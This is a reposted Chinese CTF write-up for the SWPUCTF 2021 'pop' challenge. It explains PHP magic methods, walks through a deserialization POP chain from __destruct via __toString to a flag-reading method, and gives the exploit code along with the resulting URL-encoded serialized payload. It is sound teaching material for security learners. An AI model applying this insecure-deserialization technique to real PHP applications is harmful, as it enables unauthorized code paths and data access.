CTF笔记 [SWPUCTF 2021 新生赛]pop
文章目录
这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象联系起来去拿flag。
(比较菜的我做了4道题目才理解了这类题目,你们应该比我强)
一些常见魔术方法
日常积累,目前做过的题目中见过的
__construct()类的构造函数,在对象实例化时调用__destruct()类的析构函数,在对象被销毁时被调用__call()在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性__get()个人觉得和call函数类似__isset()当一个对象调用isset()或empty()时被调用__sleep()执行serialize()时,先会调用这个函数__wakeup()执行unserialize()时,先会调用这个函数,改属性键值可绕过__toString()类被当成字符串时被调用,如出现echo或者pre_match时__invoke()以函数的形式调用一个对象时被调用__clone()出现clone函数,会被调用
[SWPUCTF 2021 新生赛]pop
error_reporting(0);show_source("index.php");class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } }}class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; }}$w00m = $_GET['w00m'];unserialize($w00m);?>
首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m
类里面的Getflag
函数可以用来读取flag,因此就将它作为这条链子的尾部。
public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; }
再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。
class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; }}
再再考虑一下如何调用这个w33m
类呢??上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}
到了这里,析构函数会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
这道题目很基础,所以出题人按顺序给类命名,算是小提示
然后我们构造一下exp
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值
class w44m{ private $admin='w44m'; protected $passwd='08067';}class w22m{ public $w00m;}class w33m{ public $w00m; public $w22m;}$a=new w22m;$a->w00m=new w33m;$a->w00m->w00m=new w44m;$a->w00m->w22m='Getflag';echo urlencode(serialize($a));?>
运行得到
O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
个人建议:像这样赋值可以防止思路变模糊,这两天看其他大佬的构造,有提前全部实例化然后一个个赋值的,很乱,很难看懂,所以推荐上面的赋值方式,也是从别的大佬那边学来的。
拿到flag
总结
刚入门的话确实挺难懂的,建议多做做简单的题,找找感觉,一题一题地去理解,一般3、4道就能会了。看wp的时候不会的多查一查,找到自己能理解的文章去看,一些函数也多去查和理解,多动手自己构造。
来源地址:https://blog.csdn.net/qq_51248658/article/details/127578176
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341